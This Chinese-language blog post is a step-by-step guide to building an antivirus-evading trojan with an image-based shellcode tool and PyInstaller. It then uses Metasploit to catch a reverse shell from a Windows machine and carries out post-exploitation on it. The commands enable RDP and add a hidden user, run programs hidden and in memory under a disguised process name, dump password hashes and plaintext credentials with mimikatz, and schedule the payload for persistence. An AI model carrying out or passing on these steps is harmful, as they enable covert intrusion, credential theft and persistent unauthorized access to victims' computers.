python实现的分离免杀(包含pyinstaller的安装与使用)
题记
今天本来打算学python的,突然看到萌萌哒的小玉玉发了个免杀的工具,迫不及待的来试试了。此贴记录我实际操作的整个过程,在此膜拜大神,大神上次还分享了个0day(虽然烂大街了),但是对于我这个菜鸟来说,还是很有帮助的。
项目地址:https://gitee.com/cutecuteyu/picshell_bypassav
视频教程(附带代码解析):http://bilibili.com/video/BV1LA41147NQ
一、准备工作
机器:kali(ip:192.168.0.119)、win10(ip:192.168.0.200)
图片:3.jpg
环境:python3
二、安装pyinstaller
pyinstaller的安装
2.1在cmd输入pip install pyinstaller 安装python打包成exe的工具。
2.2在 PyInstaller 模块安装成功之后,在 Python 的安装目录下的 Scripts(D:\Python\Python36\Scripts) 目录下会增加一个 pyinstaller.exe 程序,接下来就可以使用该工具将 Python 程序生成 EXE 程序了。
三、实现免杀程序生成
3.1kali解压picshell的包。
3.2命令行中运行python3 picshell.py
按照步骤
请输入图片的路径 :3.jpg(相对路径,最好是和picshell.py在同一文件夹下)
请设置lhost (默认:127.0.0.1):192.168.0.119
请设置lport (默认:4444):
会生成payload.py与一个output文件夹。
3.3将生成的payload.py放到windows上用:pyinstaller -F payload.py生成exe文件
3.4将exe文件与注入后的图片放在同一目录即可使用
四、程序利用
4.1kali启动msf
注意:首次启动需要链接数据库
msfconsole
进入后开启监听模式
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.0.119
show options
4.2开启监听后在另一个机器运行我们的木马(可改名)。可以看到拿到权限。
4.3利用(参考:http://cnblogs.com/backlion/p/9484949.html)
(1)开启3389
run post/windows/manage/enable_rdp
(2)创建用户加入桌面组
run post/windows/manage/enable_rdp username="Waldo1111test" password="123456hhhh."
help# 查看Meterpreter帮助
background#返回,把meterpreter后台挂起
bgkill# 杀死一个背景 meterpreter 脚本
bglist#提供所有正在运行的后台脚本的列表
bgrun#作为一个后台线程运行脚本
channel#显示活动频道
sessions -i number # 与会话进行交互,number表示第n个session,使用session -i 连接到指定序号的meterpreter会话已继续利用
sesssions -k number #与会话进行交互
close# 关闭通道
exit# 终止 meterpreter 会话
quit# 终止 meterpreter 会话
interact id #切换进一个信道
(3)execute命令
"execute"命令为目标主机上执行一个命令,其中"execute -h"显示帮助信息。-f为执行要运行的命令,
在目标主机上运行某个程序,例如我们目前注入进程到explorer.exe后,运行用户为超级管理administrator
我们运行一下目标主机上的记事本程序
execute -f notepad.exe
目标主机上立马弹出来一个记事本程序,如下图:
这样太明显,如果希望隐藏后台执行,加参数-H
execute -H -f notepad.exe
此时目标主机桌面没反应,但我们在meterpreter会话上使用ps命令看到了
再看一个,我们运行目标主机上的cmd.exe程序,并以隐藏的方式直接交互到我们的meterpreter会话上
命令:
execute -H -i -f cmd.exe
这达到的效果就跟使用shell命令一样了
再来一个,在目标主机内存中直接执行我们攻击主机上的攻击程序,比如wce.exe,又比如木马等,这样可以避免攻击程序存储到目标主机硬盘上被发现或被查杀。
execute -H -m -d notepad.exe-f wce.exe -a "-o wce.txt"
-d 在目标主机执行时显示的进程名称(用以伪装)
-m 直接从内存中执行
"-o wce.txt"是wce.exe的运行参数
(4)mimikatz
meterpreter > load mimikatz #加载mimikatz
meterpreter > msv #获取hash值
meterpreter > kerberos #获取明文
meterpreter >ssp #获取明文信息
meterpreter > wdigest #获取系统账户信息
meterpreter >mimikatz_command -f a:: #必须要以错误的模块来让正确的模块显示
meterpreter >mimikatz_command -f hash:: #获取目标 hash
meterpreter > mimikatz_command -f samdump::hashes
meterpreter > mimikatz_command -f sekurlsa::searchPasswords
SCHTASKS /Create /TN calc /TR d:\shell\payload.exe /SC DAILY /ST 10:54